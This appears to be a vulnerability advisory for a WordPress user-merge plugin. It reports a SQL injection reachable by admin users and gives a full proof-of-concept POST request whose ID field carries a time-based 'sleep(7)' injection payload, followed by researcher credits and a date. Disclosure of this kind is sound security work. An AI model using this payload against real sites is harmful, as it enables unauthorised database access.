The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as admin
POST /wp-admin/users.php?page=wpus_merger HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wp-admin/users.php?page=wpus_merger Content-Type: application/x-www-form-urlencoded Content-Length: 336 Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 start_merge_field=f0b23020e0&_wp_http_referer=%2Fwp-admin%2Fusers.php%3Fpage%3Dwpus_merger&user_ids%5B%5D=11&url%5B%5D=&posts%5B%5D=11&display_name=test111&ID=13+and+sleep(7)&user_ids%5B%5D=13&user_login=test111&user_nicename=test111&user_email=test111%40c.com&user_url=&user_status=0&roles=author&url%5B%5D=&posts%5B%5D=13&start_merge=
Kunal Sharma (University of Kaiserslautern), Daniel Krohmer (Fraunhofer IESE)
Kunal Sharma
Yes
2022-11-07 (about 4 months ago)
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